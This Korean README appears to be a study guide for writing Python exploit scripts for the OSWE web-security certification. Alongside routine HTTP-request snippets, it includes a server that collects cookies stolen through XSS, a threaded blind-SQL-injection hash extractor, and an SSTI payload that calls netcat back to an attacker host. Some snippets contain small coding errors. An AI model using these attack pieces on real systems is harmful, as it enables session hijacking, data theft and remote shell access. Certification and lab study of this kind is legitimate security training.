OSWE를 위한 익스플로잇 작성

배경

무엇인가

이 저장소에는 OSWE 랩 및 자격증 시험에서 익스플로잇 스크립트를 작성하는 데 유용한 스니펫과 팁 목록이 포함되어 있습니다.

여기 있는 일부 예제는 특정 코딩 관행에 어긋날 수 있지만, 우리의 최종 목표는 익스플로잇 스크립트를 빠르고 정확하게 작성하는 것입니다.

requests 라이브러리 사용에 익숙하지 않거나 Python이 처음이라면 코드 스니펫 섹션에서 시작하는 것이 좋습니다. 그렇지 않다면 재사용 가능한 코드 섹션이나 팁 섹션으로 건너뛰어도 됩니다.

왜 필요한가

자격증에 대한 write-up, 리뷰, 노트는 많지만, 익스플로잇 작성 과정에 특별히 초점을 맞춘 자료는 거의 없습니다.
익스플로잇 스크립트 작성은 특히 Python이 처음이거나 코드를 통해 웹 애플리케이션과 상호작용한 경험이 거의 없는 사람에게는 부담스러울 수 있습니다.
취약점 식별과 시험 보고서 작성에 드는 시간은 크게 달라질 수 있지만, 익스플로잇 스크립트 개발에 드는 시간은 잘 숙달하면 최소화하고 일정하게 유지할 수 있습니다.

코드 스니펫

시작 템플릿

import requests

def main():
    print("Hello World!")

if __name__ == __main__:
    main()

유용한 import

# For sending HTTP requests
import requests

# For Base64 encoding/decoding
from base64 import b64encode, b64decode, urlsafe_b64encode, urlsafe_b64decode

# For getting current time or for calculating time delays
from time import time

# For regular expressions
import re

# For running shell commands
import subprocess

# For multithreading
from concurrent.futures import ThreadPoolExecutor

# For running a HTTP server in the background
import threading
from http.server import HTTPServer, BaseHTTPRequestHandler

# For parsing HTTP cookies
from http import cookies

# For getting command-line arguments
import sys

`requests` 라이브러리 사용하기

가장 간단한 HTTP 요청 보내기

resp_obj = requests.get("https://github.com")

다양한 HTTP 메서드 지정하기

# GET method
requests.get("https://github.com")

# POST method
requests.post("https://github.com")

# PUT method
requests.put("https://github.com")

# PATCH method
requests.patch("https://github.com")

# DELETE method
requests.delete("https://github.com")

HTTP 응답 읽기

resp_obj = requests.get("https://github.com")

# HTTP status code (e.g 404, 500, 301)
resp_obj.status_code

# HTTP response headers (e.g Location, Content-Disposition)
resp_obj.headers["Location"]

# Body as bytes
resp_obj.content

# Body as a string
resp_obj.text

# Body as a dictionary (if body is a JSON)
resp_obj.json()

URL에 쿼리 문자열로 데이터 보내기 (`params` 인자 사용)

params = {
    "foo": "bar"
}

requests.get("https://github.com", params=params)

바디에 쿼리 문자열로 데이터 보내기 (`data` 인자 사용)

data = {
    "foo": "bar"
}

requests.post("https://github.com", data=data)

바디에 JSON으로 데이터 보내기 (`json` 인자 사용)

data = {
    "foo": "bar"
}

requests.post("https://github.com", json=data)

바디에 파일 보내기 (`files` 인자 사용)

files = {
    #                (FILE_NAME, FILE_CONTENTS, FILE_MIMETYPE)
    "uploaded_file": ("phpinfo.php", b"<?php phpinfo() ?>", "application/x-httpd-php")
}

requests.post("https://github.com", files=files)

HTTP 헤더 설정하기 (`headers` 인자 사용)

headers = {
    "X-Forwarded-For": "127.0.0.1"
}

requests.get("https://github.com", headers=headers)

HTTP 쿠키 설정하기 (`cookies` 인자 사용)

cookies = {
    "PHPSESSID": "fakesession"
}

requests.get("https://github.com", cookies=cookies)

`3XX` 리다이렉트 따라가기 비활성화 (`allow_redirects` 인자 사용)

requests.post("https://github.com/login", allow_redirects=False)

검증되지 않은 HTTPS 서버와 통신하기 (`verify` 인자 사용)

# Supresses InsecureRequestWarning messages
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)

requests.get("https://github.com", verify=False)

HTTP 프록시를 통해 요청 보내기 (`proxies` 인자 사용)

proxies = {
    "HTTP": "http://127.0.0.1:8080",
    "HTTPS": "http://127.0.0.1:8080"
}

requests.get("https://github.com", proxies=proxies)

`Session` 생성하기

session = requests.Session()
session.get("https://github.com")

영구 쿠키 설정하기

session = requests.Session()
session.cookies.update({"PHPSESSID": "fakesession"})

영구 헤더 설정하기

session = requests.Session()
session.headers["Authorization"] = "Basic 123"

문제 해결

Wireshark를 사용해 HTTP 요청 필터링하기

Wireshark를 엽니다.
VPN 인터페이스를 선택합니다 (예: tun0).
필터 바에 http를 입력합니다.

HTTP 요청 내용 출력하기

data = {
    "foo": "bar"
}
resp_obj = requests.post("https://github.com", data=data)
prepared_request = resp_obj.request

print("Method:\n", prepared_request.method)
print()
print("URL:\n", prepared_request.url)
print()
print("Headers:\n", prepared_request.headers)
print()
print("Body:\n", prepared_request.body)

Burp Suite로 HTTP 요청을 프록시하여 검사하기

Burp Suite를 엽니다.
"Proxy" 탭으로 이동하여 "Intercept"를 "On"으로 설정합니다.

재사용 가능한 코드

HTTP를 통한 파일 제공

LHOST      = "10.0.0.1"
WEB_PORT   = 8000
JS_PAYLOAD = "<script>alert(1)</script>"

def start_web_server():
    class MyHandler(BaseHTTPRequestHandler):
        # Uncomment this method to suppress HTTP logs
        # def log_message(self, format, *args):
        #     return

        def do_GET(self):
            if self.path.endswith('/payload.js'):
                self.send_response(200)
                self.send_header("Content-Type", "application/javascript")
                self.send_header("Content-Length", str(len(JS_PAYLOAD)))
                self.end_headers()
                self.wfile.write(JS_PAYLOAD.encode())
            
    httpd = HTTPServer((LHOST, WEB_PORT), MyHandler)
    threading.Thread(target=httpd.serve_forever).start()

start_web_server()

HTTP 쿠키 탈취

LHOST      = "10.0.0.1"
WEB_PORT   = 8000

requests = requests.Session()
xss_event = threading.Event() # Signifies when victim sends their cookie

def send_xss_payload():
    pass

def start_web_server():
    class MyHandler(BaseHTTPRequestHandler):

        def do_GET(self):
            self.send_response(200)
            self.end_headers()

            # Load stolen cookie into session
            _, enc_cookie = self.path.split("/?cookie=", 1)
            plain_cookie = urlsafe_b64decode(enc_cookie).decode()
            session.cookies["PHPSESSID"] = cookies.SimpleCookie(plain_cookie)["PHPSESSID"]

            xss_event.set() # Trigger the event
            
    httpd = HTTPServer((LHOST, WEB_PORT), MyHandler)
    threading.Thread(target=httpd.serve_forever).start()

start_web_server()
send_xss_payload()
xss_event.wait() # Wait for event to be triggered
print("[+] Stolen cookie:", session.cookies["PHPSESSID"])

SQL 인젝션 속도 높이기

MAX_WORKERS = 20
HASH_LENGTH = 32

def exfiltrate_hash():

    def boolean_sqli(arguments):
        idx, ascii_val = arguments
        # ...
        # Perform SQLi and store boolean outcome into truth
        # ...
        return ascii_val, truth

    result = ""

    # Go through each character position
    for idx in range(HASH_LENGTH):

        # Use MAX_WORKERS threads to test possible ASCII values in parallel
        with concurrent.futures.ThreadPoolExecutor(max_workers=MAX_WORKERS) as executor:
            # Pass each of (0, 32), (0, 33) ..., (0, 126) as an argument to boolean_sqli()
            responses = executor.map(boolean_sqli, [(idx, ascii_val) for ascii_val in range(32, 126)])

        # Go through each response and determine which ASCII value is correct
        for ascii_val, truth in responses:
            if truth:
                result += chr(ascii_val)
                break
    
    return result

hash = exfiltrate_hash()

팁

모든 HTTP 요청 후 `assert`로 sanity check 수행하기

웹셸을 트리거하기 전에 실제로 업로드되었는지 확인합니다.
인증된 기능을 익스플로잇하기 전에 인증이 성공했는지 확인합니다.

예시:

# Suppose 302 is returned if successful login
resp_obj = requests.post("http://example.com/login", data=data, allow_redirect=False)
assert resp_obj.status_code == 302, "Login not successful"

# Suppose admin page is returned if successful login
resp_obj = requests.post("http://example.com/login", data=data)
assert "Admin Dashboard" in resp_obj.content, "Login not successful"

각 단계 후 의미 있는 메시지 출력하기

시작/완료되는 작업 또는
획득한 쿠키/토큰/파일/값

예시:

[+] Parsed command-line arguments and got:
  * BASE_URL: http://example.com
  * LHOST:    127.0.0.1
  * LPORT:    1337
[+] Triggered password reset token generation
[=] Getting password reset token length...
[+] Got password reset token length: 10
[=] Retrieving password reset token...
[+] Got password reset token: FAKE_TOKEN

각 익스플로잇 단계를 별도의 함수로 분리하기

예시:

def register():
    pass

def login():
    pass

def rce():
    pass

각 함수 호출에 명시적으로 전달할 필요가 없도록 전역 `Session` 객체 생성하기

session = requests.Session()

def login():
    session.post(...)

def rce():
    session.post(...)

전역 `BASE_URL` 문자열을 생성하고 이로부터 필요한 URL 구성하기

BASE_URL = ""
session = requests.Session()

def login():
    url = BASE_URL + "/login"
    session.post(url, ...)

def rce():
    url = BASE_URL + "/rce"
    session.post(url, ...)

def main():
    # Allow BASE_URL to be modified
    global BASE_URL
    BASE_URL = sys.argv[1]
...

`proxies` 인자를 사용하지 않고 모든 HTTP 요청이 Burp Suite를 통과하도록 하려면, 실행 시 `HTTP_PROXY` / `HTTPS_PROXY` 환경 변수를 설정하세요

$ HTTP_PROXY=http://127.0.0.1:8080 python3 poc.py

페이로드를 안전하게 전송하기 위해 인코딩/디코딩 방식 적용하기

Base64
16진수

페이로드 문자열에 작은따옴표(`'`)와 큰따옴표(`"`)가 모두 포함된 경우 `"""`를 사용하여 생성하기

예시:

payload = """This is a '. This is a "."""

멀티스레딩을 사용해 SQL 인젝션 속도 높이기

SQL 인젝션 속도 높이기를 참조하세요.

인증 기능용 익스플로잇 개발 시 인증된 사용자의 쿠키를 하드코딩하기

특히 인증된 세션을 얻기 위해 많은 시간이 걸리는 단계를 수행해야 했던 경우에.

예시:

session = requests.Session()

def main():
    # Skipping these for now...
    # register()
    # login()

    # TODO: Delete this line after you are
    # done developing and uncomment the above steps!
    session.cookies["JSESSIONID"] = "ADMIN_COOKIE"

    # Exploit authenticated features...
...

페이로드에 중괄호(`{}`)가 너무 많이 포함된 경우 f-strings(`f""`)이나 `str.format` 사용 피하기

중괄호를 이스케이프하려고 매번 두 번 입력하는 것은 번거롭고 오류가 발생하기 쉽습니다. 대신 간단한 플레이스홀더를 사용하고 .replace()를 수행하세요!

예시:

# Too many curly braces
ssti_payload = f"{{{{ __import__('os').system('nc {LHOST} {LPORT}') }}}}"
# Much easier to read
ssti_payload = "{{ __import__('os').system('nc <LHOST> <LPORT>') }}"\
    .replace("<LHOST>", LHOST)\
    .replace("<LPORT>", LPORT)

exploit-writing-for-oswe

인기